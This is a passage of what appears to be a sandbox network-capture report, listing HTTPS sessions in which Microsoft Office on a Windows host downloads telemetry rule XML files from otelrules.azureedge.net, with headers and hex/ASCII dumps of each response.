2024-11-28 12:10:48 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:48 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:48 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:48 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 6df8c679-c01e-008e-163d-417381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121048Z-174f7845968pght8hC1EWRyvxg00000001mg000000002yv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:48 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:48 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:49 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:48 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 97972df5-901e-008f-1591-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121048Z-174f7845968vqt9xhC1EWRgten0000000ybg000000009cd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:49 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:48 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:49 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:49 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 32ac4486-a01e-0050-5791-3fdb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121049Z-174f78459684bddphC1EWRbht40000000y20000000009393 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:49 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:49 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:50 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:49 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: bc455531-901e-0064-7a1b-41e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121049Z-174f7845968j6t2phC1EWRcfe80000000yp0000000001bhq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:50 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49944	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:50 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:51 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:51 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 9a71871d-601e-00ab-7626-4166f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121051Z-174f7845968vqt9xhC1EWRgten0000000yhg000000001ebq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:51 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:50 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:51 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:51 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 6bdf3827-f01e-0085-6b0a-4188ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121051Z-174f7845968px8v7hC1EWR08ng0000000yp000000000642g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:51 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49943	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:50 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:51 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:51 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 31cf5fb0-e01e-003c-261e-41c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121051Z-174f7845968pght8hC1EWRyvxg00000001g0000000007ydv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:51 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49948	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:51 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:51 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:51 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 581105fc-301e-0000-6a91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121051Z-174f7845968jrjrxhC1EWRmmrs0000000yh0000000005szx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:51 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49949	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:52 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:52 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:52 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 10a6c0b8-301e-0033-4f29-41fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121052Z-174f7845968pght8hC1EWRyvxg00000001kg000000004dt4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:52 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49954	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:53 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:53 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:53 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9f43eb8e-e01e-003c-5891-3fc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121053Z-174f7845968xr5c2hC1EWRd0hn0000000f9g000000003s64 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:53 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49953	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:53 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:53 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:53 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 31216168-001e-000b-5343-4015a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121053Z-174f7845968glpgnhC1EWR7uec0000000yk0000000005y45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:53 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49955	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:53 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
